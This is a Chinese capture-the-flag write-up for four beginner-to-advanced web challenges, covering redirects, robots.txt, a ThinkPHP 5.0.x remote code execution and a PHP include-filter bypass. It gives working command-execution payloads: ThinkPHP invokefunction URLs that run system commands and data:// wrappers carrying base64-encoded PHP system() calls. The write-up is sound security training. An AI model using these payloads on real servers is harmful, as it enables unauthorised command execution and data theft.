0x00 前言
Web高手进阶区的题是对信息搜集、协议理解、php语法掌握等进阶知识的考查,越往后,题目越难,也不知道自己可以做到第几,持续更新吧。
0x01 baby_web
题目描述:想想初始页面是哪个
打开之后发现初始路径为1.php,平常我们使用最常见的首页面为index.php,输入url测试,发现立即跳转到了1.php,本题目考察302跳转的知识,使用burp抓包跟进即可。
0x02 Training-WWW-Robots
根据题目名称可知本题考查robots.txt知识。
根据提示访问f10g.php即可。
0x03 php_rce
本题打开之后是tinkphp5.0框架,tinkphp作为大量使用的框架,每个版本都会有大量的漏洞爆出,本题考查对5.0版本的了解和信息搜集能力,不难找到5.0.x版本的存在rce漏洞。
payload为
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回了当前用户。
跨目录,cat文件即可,最终payload为
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd..%20;cd%20..;%20cd%20..;cd%20..;ls%20flag;cat%20flag
0x04 Web_php_include
题目描述:暂无
从题目源码可以看到,这个题目不允许使用
php://
伪协议,但对strstr函数来说,匹配大小写,所以可以使用PHP://
伪协议,data://
伪协议包含恶意代码,获取敏感信息。
'php://input' 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
'data://text/plain;base64,' 将值中的base64编码解码后直接包含
在传递page这一参数的值时,要将内容使用base64编码,防止特殊字符浏览器难以识别。
本题中使用到的有
<?php system('dir');
<?php system('cat xxxx.php');
两句话编码后的内容。
PD9waHAgc3lzdGVtKCdkaXInKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmw0Z2lzaXNpc2gzcjMucGhwJyk7
两种方式的传递参数都是相同的,首先列目录,再cat对应的文件。
使用page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmw0Z2lzaXNpc2gzcjMucGhwJyk7
查看源码得到falg